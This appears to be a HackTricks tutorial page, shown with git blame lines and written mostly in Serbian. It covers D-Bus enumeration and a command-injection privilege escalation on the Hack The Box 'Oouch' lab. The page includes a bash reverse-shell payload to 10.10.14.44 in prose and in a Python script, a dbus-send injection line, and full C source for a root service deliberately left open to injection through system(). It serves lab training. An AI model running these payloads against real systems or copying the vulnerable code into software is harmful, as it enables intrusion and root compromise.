hacktricks/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md

481 lines
25 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# D-Bus Enumeracija i Privilegija Eskalacija Putem Ubacivanja Komandi
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-02 12:19:57 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:11:20 +00:00
## **Enumeracija preko GUI-a**
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
D-Bus se koristi kao posrednik za međuprocesnu komunikaciju (IPC) u Ubuntu desktop okruženjima. Na Ubuntu-u, primećuje se istovremeno funkcionisanje nekoliko magistrala poruka: sistemski bus, koji se uglavnom koristi od strane **privilegovanih servisa za izlaganje servisa relevantnih za ceo sistem**, i sesijski bus za svakog prijavljenog korisnika, koji izlaže servise relevantne samo tom određenom korisniku. Fokus ovde je pre svega na sistemskom busu zbog njegove povezanosti sa servisima koji se izvršavaju sa višim privilegijama (npr. root), jer je naš cilj da povećamo privilegije. Primećuje se da D-Bus-ova arhitektura koristi 'ruter' po sesijskom busu, koji je odgovoran za preusmeravanje poruka klijenata ka odgovarajućim servisima na osnovu adrese koju klijenti specificiraju za servis sa kojim žele da komuniciraju.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Servisi na D-Bus-u su definisani **objektima** i **interfejsima** koje izlažu. Objekti se mogu uporediti sa instancama klasa u standardnim OOP jezicima, pri čemu je svaka instanca jedinstveno identifikovana **putanjom objekta**. Ova putanja, slična putanji u fajl sistemu, jedinstveno identifikuje svaki objekat koji servis izlaže. Ključni interfejs u svrhe istraživanja je interfejs **org.freedesktop.DBus.Introspectable**, koji ima jednu metodu, Introspect. Ova metoda vraća XML reprezentaciju podržanih metoda, signala i svojstava objekta, pri čemu je fokus ovde na metodama, a izostavljaju se svojstva i signali.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Za komunikaciju sa D-Bus interfejsom, korišćena su dva alata: CLI alat nazvan **gdbus** za jednostavno pozivanje metoda izloženih od strane D-Bus-a u skriptama, i [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), Python baziran GUI alat dizajniran za enumeraciju dostupnih servisa na svakom busu i prikazivanje objekata koji se nalaze unutar svakog servisa.
2021-10-10 15:13:08 +00:00
```bash
sudo apt-get install d-feet
```
2024-02-05 02:28:59 +00:00
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
2020-09-19 20:50:50 +00:00
2024-02-05 02:28:59 +00:00
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Na prvoj slici prikazane su usluge registrovane sa D-Bus sistemskim autobusom, pri čemu je posebno istaknut **org.debin.apt** nakon odabira dugmeta System Bus. D-Feet upita ovu uslugu za objekte, prikazujući interfejse, metode, osobine i signale za odabrane objekte, što se vidi na drugoj slici. Takođe je detaljno prikazan potpis svake metode.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Značajna karakteristika je prikaz **identifikatora procesa (pid)** i **komandne linije** usluge, što je korisno za potvrdu da li usluga radi sa povišenim privilegijama, što je važno za relevantnost istraživanja.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
**D-Feet takođe omogućava pozivanje metoda**: korisnici mogu uneti Python izraze kao parametre, koje D-Feet pretvara u D-Bus tipove pre prosleđivanja usluzi.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Međutim, treba napomenuti da **neke metode zahtevaju autentifikaciju** pre nego što nam dozvole da ih pozovemo. Ignorišemo ove metode, jer je naš cilj da povećamo privilegije bez pristupnih podataka u prvom koraku.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
Takođe treba napomenuti da neke od usluga upituju drugu D-Bus uslugu nazvanu org.freedeskto.PolicyKit1 da li je korisniku dozvoljeno da izvrši određene radnje ili ne.
2020-09-19 20:50:50 +00:00
2024-02-10 13:11:20 +00:00
## **Enumeracija komandne linije**
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
### Lista objekata usluge
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Moguće je izlistati otvorene D-Bus interfejse sa:
2020-08-07 00:26:17 +00:00
```bash
busctl list #List D-Bus interfaces
NAME PID PROCESS USER CONNECTION UNIT SE
2024-02-10 13:11:20 +00:00
:1.0 1 systemd root :1.0 init.scope -
2020-08-07 00:26:17 +00:00
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
2024-02-10 13:11:20 +00:00
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
:1.3 2609 dbus-server root :1.3 dbus-server.service -
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
:1.820 6583 systemd qtc :1.820 user@1000.service -
com.ubuntu.SoftwareProperties - - - (activatable) - -
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
org.bluez - - - (activatable) - -
org.freedesktop.DBus 1 systemd root - init.scope -
org.freedesktop.PackageKit - - - (activatable) - -
org.freedesktop.PolicyKit1 - - - (activatable) - -
org.freedesktop.hostname1 - - - (activatable) - -
org.freedesktop.locale1 - - - (activatable) - -
2020-08-07 00:26:17 +00:00
```
2024-02-10 13:11:20 +00:00
#### Veze
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
[Prema Vikipediji:](https://en.wikipedia.org/wiki/D-Bus) Kada proces uspostavi vezu sa autobusom, autobus dodeljuje vezi posebno ime autobusa koje se naziva _jedinstveno ime veze_. Imena autobusa ovog tipa su nepromenljiva - garantovano se neće promeniti dok veza postoji - i, što je još važnije, ne mogu se ponovo koristiti tokom trajanja autobusa. Ovo znači da nijedna druga veza sa tim autobusom nikada neće imati dodeljeno takvo jedinstveno ime veze, čak i ako isti proces zatvori vezu sa autobusom i kreira novu. Jedinstvena imena veza lako se prepoznaju jer počinju sa - inače zabranjenim - znakom dvotačke.
2024-02-10 13:11:20 +00:00
### Informacije o objektu servisa
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Zatim, možete dobiti neke informacije o interfejsu sa:
2020-08-07 00:26:17 +00:00
```bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
2024-02-10 13:11:20 +00:00
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
2020-08-07 00:26:17 +00:00
InheritableCapabilities=
2024-02-10 13:11:20 +00:00
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
2020-08-07 00:26:17 +00:00
```
2024-02-10 13:11:20 +00:00
### Lista interfejsa objekta servisa
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Potrebno je da imate dovoljno dozvola.
2020-08-07 00:26:17 +00:00
```bash
busctl tree htb.oouch.Block #Get Interfaces of the service object
└─/htb
2024-02-10 13:11:20 +00:00
└─/htb/oouch
└─/htb/oouch/Block
2020-08-07 00:26:17 +00:00
```
2024-02-10 13:11:20 +00:00
### Introspektovanje interfejsa objekta servisa
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Primetite kako je u ovom primeru izabran najnoviji interfejs otkriven korišćenjem parametra `tree` (_videti prethodni odeljak_):
2020-08-07 00:26:17 +00:00
```bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block interface - - -
.Block method s s -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
```
2024-02-10 13:11:20 +00:00
Primetite metodu `.Block` interfejsa `htb.oouch.Block` (onu koja nas zanima). "s" u drugim kolonama može značiti da se očekuje string.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
### Praćenje/uhvatanje interfejsa
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Sa dovoljno privilegija (samo privilegije `send_destination` i `receive_sender` nisu dovoljne) možete **pratiti D-Bus komunikaciju**.
2021-10-10 15:33:23 +00:00
2024-02-10 13:11:20 +00:00
Da biste **pratili** komunikaciju, morate biti **root**. Ako i dalje imate problema sa dobijanjem root privilegija, proverite [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) i [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
2021-10-10 15:33:23 +00:00
2021-10-10 19:07:15 +00:00
{% hint style="warning" %}
2024-02-10 13:11:20 +00:00
Ako znate kako konfigurisati D-Bus konfiguracioni fajl da **omogući ne-root korisnicima da prisluškuju** komunikaciju, molim vas **kontaktirajte me**!
2021-10-10 19:07:15 +00:00
{% endhint %}
2021-10-10 19:02:34 +00:00
2024-02-10 13:11:20 +00:00
Različiti načini praćenja:
2021-10-10 15:37:25 +00:00
```bash
2021-10-10 18:57:52 +00:00
sudo busctl monitor htb.oouch.Block #Monitor only specified
2021-10-10 15:37:25 +00:00
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
2021-10-10 15:39:03 +00:00
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
2021-10-10 15:36:40 +00:00
```
2024-02-10 13:11:20 +00:00
U sledećem primeru se prati interfejs `htb.oouch.Block` i **poruka "**_**lalalalal**_**" se šalje putem nesporazuma**:
2020-08-07 00:26:17 +00:00
```bash
busctl monitor htb.oouch.Block
Monitoring bus message stream.
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
2024-02-10 13:11:20 +00:00
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};
2020-08-07 00:26:17 +00:00
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
2024-02-10 13:11:20 +00:00
Sender=:1.3 Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
2020-08-07 00:26:17 +00:00
```
2024-02-10 13:11:20 +00:00
Možete koristiti `capture` umesto `monitor` da biste rezultate sačuvali u pcap datoteci.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
#### Filtriranje svih šumova <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
2021-10-10 19:02:34 +00:00
2024-02-10 13:11:20 +00:00
Ako ima previše informacija na magistrali, možete proći pravilo filtriranja na sledeći način:
2021-10-10 19:02:34 +00:00
```bash
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
```
2024-02-10 13:11:20 +00:00
Može se navesti više pravila. Ako poruka odgovara _bilo kojem_ od pravila, poruka će biti ispisana. Na sledeći način:
2021-10-10 19:02:34 +00:00
```bash
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
```
```bash
dbus-monitor "type=method_call" "type=method_return" "type=error"
```
2024-02-10 13:11:20 +00:00
Vidi [D-Bus dokumentaciju](http://dbus.freedesktop.org/doc/dbus-specification.html) za više informacija o sintaksi pravila za podudaranje.
2021-10-10 19:02:34 +00:00
2024-02-10 13:11:20 +00:00
### Više
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
`busctl` ima još više opcija, [**pronađi ih sve ovde**](https://www.freedesktop.org/software/systemd/man/busctl.html).
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
## **Ranjivi scenario**
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Kao korisnik **qtc unutar hosta "oouch" sa HTB-a**, možeš pronaći **neočekivani D-Bus konfiguracioni fajl** koji se nalazi u _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
2024-02-05 02:28:59 +00:00
```xml
2020-08-07 00:26:17 +00:00
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
2024-02-10 13:11:20 +00:00
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
2020-08-07 00:26:17 +00:00
<busconfig>
2024-02-10 13:11:20 +00:00
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
2020-08-07 00:26:17 +00:00
</busconfig>
```
2024-02-10 13:11:20 +00:00
Napomena iz prethodne konfiguracije je da **će vam biti potrebno da budete korisnik `root` ili `www-data` da biste slali i primili informacije** putem ove D-BUS komunikacije.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Kao korisnik **qtc** unutar docker kontejnera **aeb4525789d8**, možete pronaći neki dbus povezani kod u datoteci _/code/oouch/routes.py._ Ovo je interesantan kod:
2020-08-07 00:26:17 +00:00
```python
if primitive_xss.search(form.textfield.data):
2024-02-10 13:11:20 +00:00
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
```
Kao što možete videti, **povezuje se sa D-Bus interfejsom** i šalje "client\_ip" funkciji "Block".
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Na drugoj strani D-Bus veze se nalazi neki C kompajlirani binarni fajl koji se izvršava. Ovaj kod **sluša** D-Bus vezu **za IP adresu i poziva iptables putem `system` funkcije** da blokira datu IP adresu.\
**Poziv `system` funkcije je namerno ranjiv na komandnu injekciju**, tako da će payload poput sledećeg kreirati reverzni shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
### Iskoristite to
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Na kraju ove stranice možete pronaći **kompletan C kod D-Bus aplikacije**. Unutar njega možete pronaći između linija 91-97 kako su **registrovane `D-Bus putanja objekta`** **i `ime interfejsa`**. Ove informacije će biti neophodne za slanje informacija preko D-Bus veze:
2020-08-07 00:26:17 +00:00
```c
2024-02-10 13:11:20 +00:00
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
2020-08-07 00:26:17 +00:00
```
2024-02-10 13:11:20 +00:00
Takođe, u liniji 57 možete videti da je **jedina registrovana metoda** za ovu D-Bus komunikaciju nazvana `Block` (_**Zato će u sledećem odeljku payloadi biti poslati objektu usluge `htb.oouch.Block`, interfejsu `/htb/oouch/Block` i nazivu metode `Block`**_):
2020-08-07 00:26:17 +00:00
```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```
#### Python
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
Sledeći Python kod će poslati payload preko D-Bus konekcije metodi `Block` putem `block_iface.Block(runme)` (_napomena da je izvučen iz prethodnog dela koda_):
2020-08-07 00:26:17 +00:00
```python
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
```
2024-02-10 13:11:20 +00:00
#### busctl и dbus-send
The `busctl` and `dbus-send` commands are powerful tools for interacting with the D-Bus system. D-Bus is a message bus system that allows different applications to communicate with each other. These commands can be used for enumeration and command injection privilege escalation.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
`busctl` is a command-line tool that allows you to introspect and interact with the D-Bus system. It can be used to list available services, objects, and interfaces, as well as call methods and inspect properties.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
`dbus-send` is another command-line tool that allows you to send messages to the D-Bus system. It can be used to invoke methods on objects, set properties, and emit signals.
Both `busctl` and `dbus-send` can be used to discover vulnerable services and interfaces that can be exploited for privilege escalation. By enumerating the available services and objects, you can identify potential targets for further exploitation.
Additionally, these tools can be used to inject commands into vulnerable D-Bus interfaces. By crafting malicious method calls or property settings, you can execute arbitrary commands with the privileges of the targeted service or application.
It is important to note that these tools should only be used for legitimate purposes, such as system administration or debugging. Unauthorized use of these tools can lead to security breaches and legal consequences.
2020-08-07 00:26:17 +00:00
```bash
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
```
2024-02-10 13:11:20 +00:00
* `dbus-send` je alat koji se koristi za slanje poruka "Message Bus"-u
* Message Bus - Softver koji se koristi za olakšavanje komunikacije između aplikacija. Povezan je sa Message Queue-om (poruke su poredane po redosledu), ali u Message Bus-u se poruke šalju u modelu pretplate i vrlo su brze.
* "system" oznaka se koristi da se naznači da je u pitanju sistemsko obaveštenje, a ne sesijsko obaveštenje (podrazumevano).
* "print-reply" oznaka se koristi da se poruka pravilno prikaže i da se primi odgovor u ljudski čitljivom formatu.
* "dest=Dbus-Interface-Block" adresa Dbus interfejsa.
* "string:" - Vrsta poruke koju želimo da pošaljemo interfejsu. Postoji nekoliko formata za slanje poruka kao što su double, bytes, booleans, int, objpath. Od toga, "object path" je koristan kada želimo da pošaljemo putanju do fajla Dbus interfejsu. U ovom slučaju možemo koristiti poseban fajl (FIFO) da bismo prosledili komandu interfejsu u obliku imena fajla. "string:;" - Ovo je da ponovo pozovemo "object path" gde stavljamo FIFO fajl/komandu za obrnutu ljusku.
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
_Napomena da u `htb.oouch.Block.Block`, prvi deo (`htb.oouch.Block`) se odnosi na objekat servisa, a poslednji deo (`.Block`) se odnosi na naziv metode._
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
### C kod
2020-08-07 00:26:17 +00:00
2021-10-10 15:13:08 +00:00
{% code title="d-bus_server.c" %}
2020-08-07 00:26:17 +00:00
```c
2021-10-10 15:13:08 +00:00
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
2021-10-10 15:20:44 +00:00
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
2021-10-10 15:13:08 +00:00
2020-08-07 00:26:17 +00:00
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
2024-02-10 13:11:20 +00:00
char* host = NULL;
int r;
/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
int command_len = strlen(command);
int host_len = strlen(host);
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}
sprintf(command_buffer, command, host);
/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();
if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
2020-08-07 00:26:17 +00:00
}
/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
2024-02-10 13:11:20 +00:00
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
2020-08-07 00:26:17 +00:00
};
int main(int argc, char *argv[]) {
2024-02-10 13:11:20 +00:00
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
* argc (int) Number of arguments, not required
* argv[] (char**) Argument array, not required
*
* Returns:
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
* as long as the user keeps it alive.
*/
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);
sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;
/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block", /* interface */
"htb.oouch.Block", /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}
/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}
/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;
/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}
2020-08-07 00:26:17 +00:00
finish:
2024-02-10 13:11:20 +00:00
sd_bus_slot_unref(slot);
sd_bus_unref(bus);
2020-08-07 00:26:17 +00:00
2024-02-10 13:11:20 +00:00
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
2020-08-07 00:26:17 +00:00
}
```
2021-10-10 15:13:08 +00:00
{% endcode %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
## Reference
2024-02-05 02:28:59 +00:00
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-02-02 12:19:57 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>